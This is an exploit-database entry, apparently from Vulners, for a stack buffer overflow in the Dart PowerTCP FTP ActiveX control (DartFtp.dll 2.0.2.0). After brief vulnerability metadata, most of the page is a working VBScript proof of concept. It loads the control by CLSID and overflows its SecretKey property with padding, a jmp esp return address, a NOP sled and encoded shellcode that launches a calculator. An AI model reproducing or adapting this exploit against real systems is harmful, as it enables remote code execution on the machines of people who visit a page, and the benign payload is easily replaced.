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Dart Communications PowerTCP FTP module Remote BOF Exploit
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<pre>
Author: Intel
Discovered by: Intel
Software: PowerTCP ActiveX
Vulnerable Component: DartFtp.dll
Version: 2.0.2.0
Website: www.dart.com
Description:
"PowerTCP tools from Dart Communications are comprehensive tools you can
include in your programs to perform common TCP/IP functions, including FTP,
HTTP, SMTP, POP3, telnet, and SNMP. In addition, Dart supplies a series of
other tools, such as a Zip compressor and a VT320 terminal emulator. This
review, however, will focus only on two tools: the FTP Tool and the Mail Tool,
which supports SMTP and POP3."
RegKey Safe for Script: False
RegkeySafe for Init: True
KillBitSet: False
Tested on Vista SP1 fully patched and IE7
<object classid='clsid:39FDA070-61BA-11D2-AD84-00105A17B608' id='pwn'></object>
<input language=VBScript onclick=Launch() type=button value="Launch Exploit">
<script language = 'vbscript'>
Sub Launch
buff = String (1684, "A")
RET = unescape("%5F%DC%02%10%cc") //jmp esp in DartFtp.DLL, we added in int3 because without it our nop sled would cause an access violation
nop = String(22, unescape("%90"))
//Exec Calc Scode
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" & _
"%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" & _
"%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" & _
"%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" & _
"%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" & _
"%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" & _
"%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" & _
"%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" & _
"%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" & _
"%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" & _
"%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" & _
"%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" & _
"%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" & _
"%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" & _
"%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" & _
"%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" & _
"%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" & _
"%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" & _
"%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" & _
"%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" & _
"%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" & _
"%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" & _
"%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" & _
"%4e%31%75%74%38%70%65%77%70%43")
naughtybuffer = buff + ret + nop + shellcode + nop
pwn.SecretKey = naughtybuffer
End Sub
</script>
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21 Oct 2008 00:00Current
7.1High risk
Vulners AI Score7.1